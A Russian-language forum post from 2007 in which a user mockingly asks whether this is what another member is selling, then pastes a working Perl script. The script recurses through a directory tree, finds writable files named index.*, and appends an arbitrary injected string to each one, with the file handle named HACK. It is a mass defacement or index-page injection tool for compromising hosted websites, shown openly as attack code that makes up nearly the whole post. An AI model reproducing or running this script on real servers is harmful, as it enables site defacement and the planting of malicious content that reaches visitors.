15.01.2007, 23:41
|
|
Постоянный
Регистрация: 29.08.2006
Сообщений: 752
С нами:
10368954
Репутация:
1178
|
|
этот чтоль продаешь?
PHP код:
#!/usr/bin/perl -w
#
use strict;
my $dir=$ARGV[0] || $ENV{'HOME'}; # откуда пойдем плясать
my $idx_ext='index'; #что ищем
my $shit="ТУТ Я ВСТАВИЛ НУЖНУЮ МНЕ СТРОКУ";
my @INDEX=();# массив для файлов
&recur($dir);
my @RWF=&test();# проверяем файлы доступные для записи
foreach (@RWF) {
print "Rewrite file $_";
open(HACK,">>",$_) || die "$!\n";
print HACK $shit;
close(HACK);
print "..................OK\n";
}
############ SubRoutines ###########################
sub recur
{
my $dir = shift;
opendir DIR, $dir or return;
my @contents = map "$dir/$_", sort grep !/^\.\.?$/, readdir DIR;
closedir DIR;
foreach (@contents)
{
if (!-l && -d)
{
recur($_);
} else {
if ($_ =~ /$idx_ext\.\w+$/i)
{
push(@INDEX,$_);
} else { next; }
}
}
}
sub test {
my @RWF=();
while(@INDEX) {
my $file=shift(@INDEX);
push(@RWF,$file) if(-w $file);
}
return @RWF;
}
если че я два беру...
|
|
|